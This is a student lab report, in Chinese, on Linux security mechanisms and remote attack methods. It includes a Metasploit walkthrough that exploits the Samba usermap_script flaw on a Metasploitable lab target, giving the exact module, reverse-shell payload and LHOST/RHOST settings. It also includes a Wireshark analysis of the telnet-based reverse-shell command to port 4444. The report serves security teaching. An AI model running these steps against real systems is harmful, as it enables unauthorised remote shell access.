目录
1.实验内容
1.1 Linux系统结构
Linux操作系统内核:宏内核结构
1.2 Linux操作系统安全机制
Linux身份认证机制
通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全的使用Linux操作系统。
用户组:具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。
本地登录用户认证机制:最基本的用户认证机制。
远程登陆用户认证机制:使用SSH服务来进行远程用户登录与网路访问,SSH提供两种方式的用户认证机制:基于口令、基于非对称密钥
Linux安全审计机制
主要通过三个主要的日志子系统来实现,包括:
连接实践日志:由多个程序执行
进程统计日志:由系统内核执行
错误日志记录:由通用的日志记录服务syslogd(8)执行
1.3 Linux系统远程攻防技术
远程网络入侵Linux系统的主要方法
对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
挖掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地shell的访问权。
通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门。
在Linux系统作为连接多个网络的路由器,或者打开混杂模式实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
Linux远程口令字猜测攻击
Linux系统主要支持telnet、rlogin、rsh和SSH协议的网络远程控制,这些协议使用了Linux系统内置的用户名和口令来对远程用户进行身份认证。攻击者如果能够通过这些网络协议远程猜测成功一组用户名和口令,那么就可以用这些信息远程登录到Linux系统上,获得本地的访问权。
支持攻击者进行自动化的远程口令猜测工具,包括:Brutus、 THC Hydra、 Cain and Abel
攻击Linux客户端程序和用户
攻击Linux平台上的客户端程序
攻击Linux系统用户:常见的包括电子邮件、即时通信中设计一些应用社会工程学技巧的欺骗场景,来诱骗用户点击执行电子邮件附件或通过即时通信软件传输中的可执行程序或恶意文档,访问某些恶意地址,以及不经意间泄漏某些关于服务器配置的敏感信息,使得攻击者能够在服务器上获得恶意程序执行、引导客户端软件访问渗透攻击代码的机会,从而在管理员眼皮底下拿到系统的访问权。
2.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
2.1 使用Metasploit进行Linux远程渗透攻击
使用msfconsole,启动Metasploit软件
输入指令search usermap_script,搜索靶机上的Samba服务Usermap_script安全漏洞信息
输入指令use exploit/multi/samba/usermap_script,使用该攻击模块
输入指令为show payloads,查看该攻击模块的攻击载荷
选择No.18的攻击载荷:payload/cmd/unix/reverse,输入指令:set payload 18,选择攻击PAYLOAD为反向远程shell
攻击机和靶机的IP地址,配置攻击机:set LHOST 192.168.200.5 配置靶机:set RHOST 192.168.200.2
输入指令:show options
开始发起攻击 run
攻击结果如图下图所示:
2.2 攻防对抗实践
攻击过程不再赘述,下面主要对Wireshark抓包内容进行分析:
打开wireshark查看攻击过程中建立的TCP三次握手过程, TCP包显示攻击者kali(IP:192.168.200.5)的端口为4444,靶机Metasploitable(IP:192.168.200.2)的端口为44781。
接着查看TCP建立连接时间为2023年4月25日的晚上23:13:16
查看攻击成功建立连接使用的shellcode
nohup就是no hangup,不要挂断,忽略hup信号。标准输出内容会输出到当前目录的nohup.out日志文件中而不终端显示。
sh表示运行shell的命令。
telnet 192.168.200.5 4444表示通过4444号端口将数据传入攻击机。
2&>1表示的是linux中的文件号。1代表标准输出流,2为错误输出流,&>表示合并标准输出和错误输出且重定向。
追踪TCP包的TCP流,可以看到攻击成功之后执行了哪些命令以及相关内容。
3.学习中遇到的问题及解决
问题:刚开始实验时,无法攻击成功
解决:攻击机和靶机都使用NAT模式
4.实践总结
通过这一次内容丰富的实验,我对Linux远程渗透攻击有了更深的了解。